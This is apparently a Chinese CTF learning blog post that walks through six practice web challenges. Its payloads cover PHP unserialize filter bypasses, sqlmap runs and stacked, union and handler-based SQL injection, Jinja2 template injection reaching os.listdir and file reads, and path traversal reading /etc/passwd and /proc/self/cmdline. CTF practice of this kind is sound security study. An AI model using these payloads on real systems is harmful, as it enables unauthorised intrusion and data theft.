攻防世界题目练习——Web引导模式(二)

news2025/6/22 14:50:32

题目目录

    • 1. Web_php_unserialize
    • 2. supersqli
    • 3. web2
    • 4. NewsCenter
    • 5. Web_python_template_injection
    • 6. catcat-new

1. Web_php_unserialize

题目源码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

首先要知道,在进行反序列化时,使用 unserialize() 反序列化会先调用 __wakeup()函数,PHP文件在执行结束的时候会将对象销毁,也就是调用__destruct()函数。
看源码可以知道,__wakeup()函数会强制将文件名转为index.php,因此我们需要绕过__wakeup()函数,接下来执行的__destruct()函数会输出对应文件的内容,我们需要让文件名显示为我们要查看的文件。
后面的if语句对传递的参数$var进行匹配判断,根据正则表达式的语法规则:
正则表达式 – 语法 | 菜鸟教程
/ 为定界符,每段正则表达式必须要有一对定界符
使用了 i 修正符,因此会不区分大小写去匹配
定界符中间的内容,没有用|隔开,匹配的是这一个类型格式的表达式:
[oc]匹配任何包含小写字母o,c的字符串,包含一个即可
\d匹配任何包含数字字符
+号代表前面的字符必须至少出现一次(1次或多次),在本例中,应该是表示至少有一个数字,也就是一位数以上
综上,匹配的是类似于O:1:的字符串,也就是对序列化后的格式的字符串进行了匹配过滤,不允许传递这样格式的参数,否则报错,因此我们要对这个过滤用字符进行绕过。
因此我的想法是考虑和冒号之间用\''将它们分隔一下来绕过。
绕过wakeup函数的话,当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()
先写个序列化的脚本:

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
}

$a=new Demo('fl4g.php');
$b=serialize($a);
$b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
$b = str_replace(':1:', ':2:',$b);//绕过wakeup
echo $b;
echo ("\n");
echo base64_encode($b);
?>
//输出结果:
//O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

要绕过__wakeup()函数,就将Demo后的1改为2
绕过正则匹配,看到别人的题解里都是用+绕过,也没人说为什么,用引号和反斜杠绕过都不行。
在这里插入图片描述
参考博客:
攻防世界web进阶区Web_php_unserialize,序列化大详解

2. supersqli

题目:随便注
就是一道sql注入题
单引号注入:
id=’
出现报错:
在这里插入图片描述
尝试联合注入,发现存在过滤:
在这里插入图片描述
因此需要绕过过滤。
试过url编码和注释符/**/,都不太行,不知道怎么做。

用sqlmap爆破,命令及执行结果如下:

#获取数据库
python sqlmap.py -u "http://61.147.171.105:63433/?inject=2" --dbs

在这里插入图片描述

#查看当前使用的数据库
python sqlmap.py -u "http://61.147.171.105:63433/?inject=2" --current-db

在这里插入图片描述

#列出指定数据库的所有表
python sqlmap.py -u "http://61.147.171.105:63433/?inject=2" -D "supersqli" --tables

报错说没有表
在这里插入图片描述
尝试了一些都失败了,对sql注入原理了解得看来还是不太清楚,还是去看看别人的解析吧TAT。
参考博客:
攻防世界之supersqli
我也尝试过用order by,博客里用#注释,可是我后面用–+注释就不行,为什么啊!!
对sql注入的引号判断还是不太了解,再学习一下吧。
参考博客:
SQL注入攻击大全
单引号、双引号、字符型判断:
输入1',如果报错为''1''',最外侧一对单引号是MYSQL错误信息包含的引号,那么实际的报错部分就是'1'',1后面的单引号是多余的,因此触发报错,就可以判断我们输入的参数就是单引号闭合的形式。
输入1",如果报错为'"1""',而输入1'不会报错,则可以判断是双引号闭合
输入2-1,如果能正常显示id=1时的内容,则判断为数字型。
在本题中,我们可以试验看到:
inject=2-1时,页面显示的是inject=2的内容
在这里插入图片描述
因此可以判断不是数字型,结合前面inject='时的报错显示,可以判断本题是单引号闭合。

关于注释符:
参考博客:
SQL注入中,注释#、 --+、 --%20、 %23到底是什么意思?sqli-labs-master
一般来说--注释符后面必须要有空格,但是get传参时空格会被忽略,因此通常采用--+来闭合,因为+会被解释为空格。
这一知识好像也解释了关于我构造的参数的空格在url中为什么会显示为+的问题:
在这里插入图片描述
在上面的图片中,+号被url编码为%2B,没有被当作空格,于是我们在--+之间加一个空格试试:
在这里插入图片描述
发现可以出现列数的报错,并且--+(%2B)之间的空格在url中被替换为+,那我们再试试直接在--后面加上空格,发现居然可以被正确替换为+
在这里插入图片描述
这下我已经完全理解了!
那接下来就开始正常的注入流程吧。
发现我对sql注入的流程理解也一般,根据参考博客了解到一般注入流程为:
1、判断闭合符:单引号闭合、双引号闭合、数字型
2、判断列数:用order by 4(根据第4列/字段排序)或者union select 1,2,3,4(选择出1,2,3,4列出来),如果报错说第4列不存在等,证明列数<4;如果正常显示查询结果,则首条查询语句包含4个字段。
3、查询数据库名?id=-1' union select 1,database(),1--+注意id=-1,此处id的值必须是一个在数据库中id字段不存在的值,否则联合查询第一条语句的查询结果将占据显示位,我们需要的第二条查询语句的查询结果就不能正常显示到浏览器中。(soga,原来如此)
4、查表名
5、查列名
6、查数据(4、5、6都要用id=-1)
在这里插入图片描述
在本题中,select被过滤掉了,因此不能用union select来查询,看到本题的参考博客里使用了堆叠注入,并且学到了用show databases的语句来查看的方式。(知识++)
堆叠注入参考博客:
sql注入之堆叠注入
下面就是解题过程了:

-1';show databases;#

在这里插入图片描述

-1';use supersqli;show tables;#

在这里插入图片描述

-1';use supersqli;show columns from `1919810931114514`;#
#当纯数字字符串是表名的时候需要加反引号`

在这里插入图片描述
接下来就是从表1919810931114514中查询flag
但是

select flag from `1919810931114514`

是行不通的,因为select被过滤了。
最简单的方法是使用handler查询法
参考博客:
MYSQL神秘的HANDLER命令与实现方法
不想仔细看,只学了一下解题博客攻防世界之supersqli里的使用,

-1';use supersqli;handler `1919810931114514` open as p;handler p read first;#

然后是用的比较多的把存放flag的数字表名改成words,再把列名flag改成id,属于修改原查询法
通过handler方法我们可以看到words表里的内容,可以看到第一列就是我们查询1的时候的结果,也就是说,这个网页在查询数据库时,应该是默认的查询的表名为"words",查询的列名为"id",所以我们把flag所在的表名改成words,列名改成id,就可以在网页查询1时获得flag。
了解一下修改列名的格式:

语句:alter table + seat + change column    +seatid  + seat_id + int;
格式:alter table 表名 change column 旧列名 新列名  新列名格式;

参考博客:
【技巧】SQL中修改列名(column)
在本题中,先将原words表名修改成其他的名字,再将1919810931114514改成words,然后修改列名:

-1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(100);#

此时如果直接查询1,是没有结果回显的,因为现在的flag列里没有值为1的内容,我们用1' or 1#永真条件来显示表中的所有行来获取flag。
在这里插入图片描述
还有一种预编译绕过法:

-1';
set @sql = CONCAT('sele','ct flag from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;#

看看就好,我不想学了,详细内容参考解题博客:)。

3. web2

打开网页看到源码:

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
    //strrev() 函数反转字符串。就是把字符串每个字符顺序完全反过来输出
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        //substr() 函数返回字符串的一部分。在字符串$_o中从$_0位置开始返回1长度的字符串。
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>

照着逆向加密的顺序解密。
rot13加密算法是对称的,加密一次是将字符前移或后移13位,而在加密一次则是将其前移或后移26位,就完全回到了原来的位置上,相当于解密。
解密脚本如下:

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){
    
    $_o=base64_decode(strrev(str_rot13($str)));
    echo($_o);
    echo("\n");
    //运行结果:
    //~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg
    $_ = '';
    for($_0=0;$_0<strlen($_o);$_0++){
        $_c=substr($_o,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;
    }
    
    return strrev($_);
}
$mingwen=decode($miwen);
echo($mingwen);
//运行结果:
//flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
?>

这题感觉和web关系不大,建议放到密码学类里。

4. NewsCenter

打开网页如下:
在这里插入图片描述
什么都点不动,只有搜索框能用,抓包看了一下是post方式提交的参数,参数名是search。
在这里插入图片描述
猜一下可能是sql注入的题,搜索框输入',返回空白页面,可能是报错页面,又尝试1' or 1=1 -- ,发现返回了全部的news信息,应该是成功构造了永真条件返回了表中的所有行。有了上面supersqli题的经验,我们可以判断这是一个单引号闭合的查询,并且由于是post方式提交参数,--后面的空格可以被成功读取。
于是接下来判断列数:

//尝试:
1' order by 3 --
//页面正常返回,搜索结果为空
//尝试:
1' order by 4 -- 
//返回空页面

因此判断有3列。

接下来用联合注入尝试爆数据库:

-1' union select 1,database(),3 -- 

在这里插入图片描述
可以看到当前数据库为news。
使用group_concat()函数可以爆出所有数据库名:

-1' union select 1,group_concat(SCHEMA_NAME),3 from information_schema.schemata -- 

在这里插入图片描述
继续使用group_concat()函数可以爆出当前数据库所有表名:

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news' -- 

在这里插入图片描述
看到有个scret_table很可疑,查看这个表的所有列:

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='secret_table' -- 

在这里插入图片描述
可以看到有fl4g,于是查看fl4g:

-1' union select 1,group_concat(fl4g),3 from secret_table -- 

在这里插入图片描述

5. Web_python_template_injection

毫无头绪,搜了一下template的意思是模板,这个题目是模板注入,没见过。
放几篇参考博客:
攻防世界-Web_python_template_injection详解
从零学习flask模板注入 - FreeBuf网络安全行业门户

{{}}是变量包裹标识符,既可以传递变量,还可以执行一些简单的表达式。

模板注入的基本原理:如果用户输入作为模板当中变量 的值,模板引擎一般会对用户输入进行编码转义,不容易造成XSS攻击,代码输入会原样输出;如果用户输入作为了模板内容的一部分,用户输入会原样输出,如果是代码脚本则会被执行。内容参考:
SSTI(模板注入)基础总结 - 简书

首先测试是否存在模板注入漏洞:
用最简单的表达式,判断是否会被执行:

url/{{2*7}}

在这里插入图片描述
看到显示了2*7的结果,说明存在模板注入。

然后是查看当前配置的全局变量,暂时没看明白这个步骤有什么用:

url/{{config}}

在这里插入图片描述
然后了解一下几个魔术方法的作用:
通过这些魔术方法的调用来执行命令:

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

首先是查看可用的引用
我就不管为什么是__mro__[2]了,当作默认的记住吧。

url/{{''.__class__.__mro__[2].__subclasses__()}}
//最前面的''应该也可以换成()或者[]

在这里插入图片描述
如上图,可以看到有一个type ‘file’,可以进行文件读取,位于从0开始数的第40号位置,因此,对于该类型的引用如下:

url/{{ [].__class__.__base__.__subclasses__()[40]('想读取的文件名').read() }}

接下来再查找可以用来执行命令的引用,我们需要用这样的引用来找到存有flag的文件在哪里以及文件名是什么。这些博客都说的是查找含有’os’模块的引用:
有一篇博客写了个脚本找到第71号引用(看名字感觉 )是可以用来进行命令执行打印结果的:

<class 'site._Printer'>
url/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
//不知道为什么最后面换成system('ls')用不了

在这里插入图片描述
看到有fl4g文件正好在当前目录下,于是查看读取:

url/{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

在这里插入图片描述

6. catcat-new

尝试了sql注入和文件包含命令,没有什么头绪,搜搜别人的解析吧:)
参考博客:
攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹) - 你呀你~ - 博客园
确实是文件包含漏洞,但是我的思路不对,一开始上来就用伪协议,返回的只有错误页面。
参考博客里一开始都是用?file=…/…/…/…/etc/passwd查看敏感文件。
在这里插入图片描述
从这篇博客里学到了读取当前进程的命令行参数?file=../../../../proc/self/cmdline,没见过,第一次见,神奇,但感觉可能记不住。
在这里插入图片描述
有一个通过python启动app.py的命令,所以该网站是一个python框架,且是flask框架,因为app.py文件常常为flask项目结构中的主程序文件。于是读取app.py文件查看文件内容。
在这里插入图片描述
将换行符与单引号去转义输出。
我用的网站:在线字符串转义—LZL在线工具

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
 __name__,
 static_url_path='/', 
 static_folder='static' 
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
 flag = cat("/flag")
 #出现关键词flag
 os.remove("/flag")

@app.route('/', methods=['GET'])
def index():
 detailtxt = os.listdir('./details/')
 cats_list = []
 for i in detailtxt:
 cats_list.append(i[:i.index('.')])
 
 return render_template("index.html", cats_list=cats_list, cat=cat)



@app.route('/info', methods=["GET", 'POST'])
def info():
 filename = "./details/" + request.args.get('file', "")
 start = request.args.get('start', "0")
 end = request.args.get('end', "0")
 name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
 
 return render_template("detail.html", catname=name, info=cat(filename, start, end))
 


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
 if session.get('admin') == 1:
 #需要session为admin才能获得flag
 return flag
 else:
 session['admin'] = 0
 return "NoNoNo"



if __name__ == '__main__':
 app.run(host='0.0.0.0', debug=False, port=5637)

不想看了,看不懂,就先这样吧,跟着博客园做就能拿到flag,但是我不想努力了:)

——————————————————————————————————-————
先到这里吧,这些就是难度2的全部内容了,本篇还是有点长,接下来转到第(三)part

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1086446.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

can not remove .unionfs

文件夹下出现unionfs 套娃&#xff0c;无法删除。 处理方式&#xff1a; 需要管理员权限umount之后删除使用fusermount -zu .unionfs &#xff0c;然后再删除。

网络安全(黑客技术)—自学手册

1.网络安全是什么 网络安全可以基于攻击和防御视角来分类&#xff0c;我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术&#xff0c;而“蓝队”、“安全运营”、“安全运维”则研究防御技术。 2.网络安全市场 一、是市场需求量高&#xff1b; 二、则是发展相对成熟…

STM32 CubeMX ADC采集 单通道,多通道,内部温度(轮询,DMA,中断)(HAL库)

STM32 CubeMX ADC采集&#xff08;HAL库&#xff09; STM32 CubeMX STM32 CubeMX ADC采集&#xff08;HAL库&#xff09;ADC介绍ADC主要特征Vref的电压&#xff08;2.4~3.6&#xff09;就是ADC参考电压2.4V&#xff08;相当于秤砣&#xff09; 最小识别电压值&#xff1a;2.4/4…

从毕业到创业,普通人如何“逆袭”?

都说当代年轻人在上班和上进之间&#xff0c;选择了上香。尽管如此&#xff0c;仍有人19岁便完成“45天净赚4万”的目标&#xff0c;也有人仅凭两人之力便成功做到“14天推广5000人”。而这些数字的“创造者”&#xff0c;正是龚祖宋。 从求学到求职&#xff0c;年轻人总是面临…

常用的语音芯片工作原理_分类为语音播报 语音识别 语音合成tts

1.0 语音芯片分类-语音播报-语音识别-语音合成 关于声音的需求&#xff0c;从始至终&#xff0c;都是很刚需的需求 。从语音芯片的演化就能看出很多的端倪&#xff0c;很多很多的产品他必须要有语音&#xff0c;才能实现更好的交互。而语音芯片的需求分类&#xff0c;其实也是很…

香港高才通申请详细步骤

去年与同学聊天&#xff0c;同学建议我申请香港优才&#xff0c;说是对孩子以后考学有好处&#xff0c;我家孩子现在还可以赶得上&#xff0c;当时查了一下&#xff0c;但是没有查到具体的就放下忙工作去了&#xff0c;今年刚好公司在宣讲海外留学服务的增值服务时&#xff0c;…

ESD门禁闸机的应用和功能说明

ESD门禁闸机是一种用于控制人员出入的安全设备&#xff0c;具有以下应用和功能说明&#xff1a; 应用&#xff1a; 工厂、企业、学校等单位的门禁控制&#xff1b; 公共场所的出入管理&#xff0c;如机场、地铁站、商场等&#xff1b; 医院、实验室等场所对人员出入的管理和…

Python【控制台输出案例】

要求&#xff1a;在控制台上上输入如下案例 *********** *********** *********** 代码1如下&#xff1a; layer int(input("请输入你要打印的行数&#xff1a;")) index 1 while index < layer:print("*"*10)index 1 ps:为了确保index 1语句在循…

vue+element实现电商商城礼品代发网,商品、订单管理

一、项目效果图 1.首页 2.登录 版本2&#xff1a; 3.注册 4.找回密码 5.立即下单 6.商品详情 7.个人中心-工作台 8.个人中心-订单列表 9.订单中心-包裹列表 10.个人中心-工单管理 11.我的钱包 12.实名认证 13.升级vip 14.个人中心-推广赚钱 二、关键源码 1.路由配置 impor…

数据治理的数字画像

随着全网步入大数据时代&#xff0c;企业的目光日益聚焦在利用大数据服务精细化营销、精细化运营上&#xff0c;各类客户画像、员工画像理论如雨后春笋般兴起&#xff0c;而数据应用的底层——数据治理&#xff0c;却鲜有整体的理论体系。如何避免治理工作自身“无的放矢”&…

泛微E8 查询分部总部部门信息

当查询泛微 OA 部门&#xff0c;请使用 HrmDepartment 表&#xff1b;当查询分部信息&#xff0c;请使用 HrmSubCompany 表。当查询总部信息&#xff0c;请使用 HrmCompany 表。 其中&#xff0c;总部信息通过总部 id - 分部 companyid 进行关联&#xff1b;分部信息通过分部 …

在这个砸钱推广都效果甚微的时代,你该如何突出重围

有市场就有竞争&#xff0c;有竞争就有优胜劣汰&#xff0c;不做引领就会被遗忘&#xff0c;近几年&#xff0c;“数字化”、“智能化”一直是业内热议的话题&#xff0c;数据驱动的营销模式是未来市场显著的特征,运营商大数据在营销领域能帮助企业提升销售效率,降低企业获客成…

URL because the SSL module is not available

Could not fetch URL https://pypi.org/simple/pip/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host‘pypi.org’, port443): Max retries exceeded with url: /simple/pip/ (Caused by SSLError(“Can’t connect to HTT PS URL because the…

软件TFN 2K的分布式拒绝攻击(DDos)实战详解

写在前头 本人写这篇博客的目的&#xff0c;并不是我想成为黑客或者鼓励大家做损坏任何人安全和利益的事情。因科研需要&#xff0c;我学习软件TFN 2K的分布式拒绝攻击&#xff0c;只是分享自己的学习过程和经历&#xff0c;有助于大家更好的关注到网络安全及网络维护上。 需要…

微信小程序/vue3/uview-plus form兜底校验

效果图 代码 <template><u-form :model"form" ref"formRole" :rules"rules"><u-form-item prop"nickname"><u-input v-model"form.nickname" placeholder"姓名" border"none" /&…

美国隐私安全人工智能大模型公司【Fantix】160万美元融资

来源&#xff1a;猛兽财经 作者&#xff1a;猛兽财经 猛兽财经获悉&#xff0c;总部位于美国纽约的隐私安全人工智能大模型公司【Fantix】今日宣布已完成160万美元B轮融资。 本轮融资的投资者包括Gaingels&#xff0c;Notion Capital&#xff0c;Founders Factory&#xff0c;F…

scsi MODE SENSE(6)命令 和 MODE SENSE(10)命令总结

一&#xff1a;MODE SENSE(6)命令概述 MODE SENSE(6)命令(参见表73)为设备服务器向应用程序客户机报告参数提供了一种方法。它是MODE SELECT(6)命令的补充命令。执行MODE SENSE(6)命令的设备服务器也应执行MODE SELECT(6)命令。 命令格式 DBD (disable block descriptors) bi…

c++视觉处理-----Laplacian算 子

Laplacian算 子 cv::Laplacian 是 OpenCV 中的一个函数&#xff0c;用于应用Laplacian算子&#xff08;拉普拉斯算子&#xff09;在图像上进行边缘检测。以下是 cv::Laplacian 函数的基本用法&#xff1a; cv::Laplacian(src, dst, ddepth, ksize, scale, delta, borderType)…

sql分组去重计数distinctcountgroup by

count 可以与 distinct 连用&#xff0c;这样可以实现去重计数&#xff1b;加上group by 可实现按某个字段分组&#xff0c;而对其它字段进行去重计数 学习链接 count()和distinct关键字的使用 distinct关键字 distinct关键字是用于去除重复的数据记录。distinct使用情况&a…

09_Webpack打包工具

1 初识Webpack 1.1 什么是Webpack Webpack打包工具对项目中的复杂文件进行打包处理&#xff0c;可以实现项目的自动化构建&#xff0c;并且给前端开发人员带来了极大的便利。 目前&#xff0c;企业中的绝大多数前端项目是基于Webpack打包工具来进行开发的。 1.2 Webpack的安…